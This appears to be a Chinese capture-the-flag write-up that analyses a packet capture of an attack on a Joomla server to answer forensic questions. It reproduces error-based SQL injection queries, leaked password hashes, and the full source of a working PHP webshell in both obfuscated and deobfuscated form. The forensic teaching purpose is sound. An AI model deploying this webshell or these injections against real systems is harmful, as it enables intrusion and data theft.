2018信息安全铁人三项第三赛区数据赛题解

Wesley13
• 阅读 551
题目链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4
题目描述
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

 1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

2018信息安全铁人三项第三赛区数据赛题解

过滤http包可以看出,攻击者ip 202.1.1.2   服务器ip 192.168.1.8   

并对list[select]参数进行注入,看着时间顺序,很明显是自动化注入,手注的时间间隔没有这么短呀。

3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)

2018信息安全铁人三项第三赛区数据赛题解

 从前几个注入的返回包来看,数据库前缀是ajtuc_

4.第一个受害主机网站数据库的名字

2018信息安全铁人三项第三赛区数据赛题解

找到最后一个注入,查看返回包,所以第一个受害主机数据库名joomla.ajtuc_users

百度得知Joomla!是一套内容管理系统。 使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。

5.Joomla后台管理员的密码是多少

密码的提交一般都是post方式,

ip.addr ==192.168.1.8 && http contains "password" && http.request.method == POST

2018信息安全铁人三项第三赛区数据赛题解

但看其他表哥说,密码并不是这个

或者通过查看注入包来找到对应的密码hash后,解密得到。。。

ip.addr == 192.168.1.8 && http contains "password"

2018信息安全铁人三项第三赛区数据赛题解

三条信息分别回显

Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

可以看到数据

qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq

我们观察sql构造,发现具有前缀和后缀

0x71717a7671
0x71716b6b71

解码后得到

qqzvq
qqkkq

我们去掉前缀和后缀,可以得到

$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe

于是我们可以得到完整的加密密码

$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe     后面解码部分就卡住咯

6.黑客第一次获得的php木马的密码是什么 上传的话 ip.addr ==192.168.1.8 && http ![](https://oscimg.oschina.net/oscnet/748660188543d82ecdc27784f389138fa85.png) 发现有一个kkkaaa.php 估计就是上传的马儿了 `数据包二 ip.addr ==192.168.1.8 && http contains "kkkaaa.php" ![](https://oscimg.oschina.net/oscnet/4574d4508fcf8cb4c82f5330a48afccb1e3.png)`

发现base64,估计用的菜刀连的小马,所以第一个上传的马儿的密码是zzz

7.黑客第二次上传php木马是什么时间

查看kkkaaa.php相关的流量

2018信息安全铁人三项第三赛区数据赛题解

z2的值很明显是hex类型,复制到winhex后,发现对应的Unicode是一段混淆后的php

<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

反混淆的地方卡住了,,,,

反混淆后

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $i = $m[1][0] . $m[1][1];
        $h = strtolower(substr(md5($i . "cb42"), 0, 3));
        $f = strtolower(substr(md5($i . "e130"), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) {
            $p .= $q[$m[2][$z]];
        }
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = substr($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = "cb42e130";
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), "cb42e130"));
                print "<{$k}>{$d}</{$k}>";
                @session_destroy();
            }
        }
    }
}

所以这是第二个php木马,上传时间 17:20:44.248365000 

8.第二次上传的木马通过HTTP协议中的哪个头传递数据

从第二个木马中可以看到

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

所以是通过HTTP_REFERER,HTTP_ACCEPT_LANGUAGE来传递的数据

从z1 参数 b64decode 后,可以看到上传路径/var/www/html/joomla/tmp/footer.php

so,第二个木马的名称为footer.php

9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

这里应该是黑客拿下服务器192.168.1.8后,利用该机内网渗透

所以 ip.addr ==192.168.1.8 && mysql 

一直到第四个数据包才找到和mysql相关的数据

2018信息安全铁人三项第三赛区数据赛题解

admin/1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

10.php代理第一次被使用时最先连接了哪个IP地址

代理第一次被使用时最先连接了IP  4.2.2.2

11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

获取当前目录肯定得有ls或者dir

so

ip.addr==192.168.1.8  && (http contains "ls" ||http contains "dir")

一直到第九个包才才找到。。

‘;2018信息安全铁人三项第三赛区数据赛题解

黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在18:36:59

可以看到内网中的另外一台主机为192.168.2.20

12.黑客在内网主机中添加的用户名和密码是多少

内网主机的ip为 192.168.2.20 

所以ip.addr ==192.168.2.20 &&http

 2018信息安全铁人三项第三赛区数据赛题解

黑客通过1.8服务器作为跳板,在2.20机器上写下内容为 的sh.php

2018信息安全铁人三项第三赛区数据赛题解

可看出2.20为windows机器

2018信息安全铁人三项第三赛区数据赛题解

菜刀的请求包太多,一个个的decode太麻烦,,可以查看返回包来判断啥时候在2.20机器上添加的user

2018信息安全铁人三项第三赛区数据赛题解

18:49:27还没有kaka用户,等到18:50:42就出现了kaka用户,所以说应该是在这两个时间点之间添加的用户

 

所以黑客在内网主机中添加的用户名和密码是kaka/kaka 

12黑客从内网服务器中下载下来的文件名
既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

ip.dst == 192.168.2.20 && http.request.method==POST

`![](https://img2018.cnblogs.com/blog/1539192/201812/1539192-20181202165350932-1694154712.png)`

`![](https://img2018.cnblogs.com/blog/1539192/201812/1539192-20181202165308652-1558315640.png)`

 so,下载的文件为 lsass.exe_180208_185247.dmp

//copy z1,z2的value时,用快捷键(Ctrl+shfit+v)比较方便

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Easter79 Easter79
2年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Android蓝牙连接汽车OBD设备
//设备连接public class BluetoothConnect implements Runnable {    private static final UUID CONNECT_UUID  UUID.fromString("0000110100001000800000805F9B34FB");
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这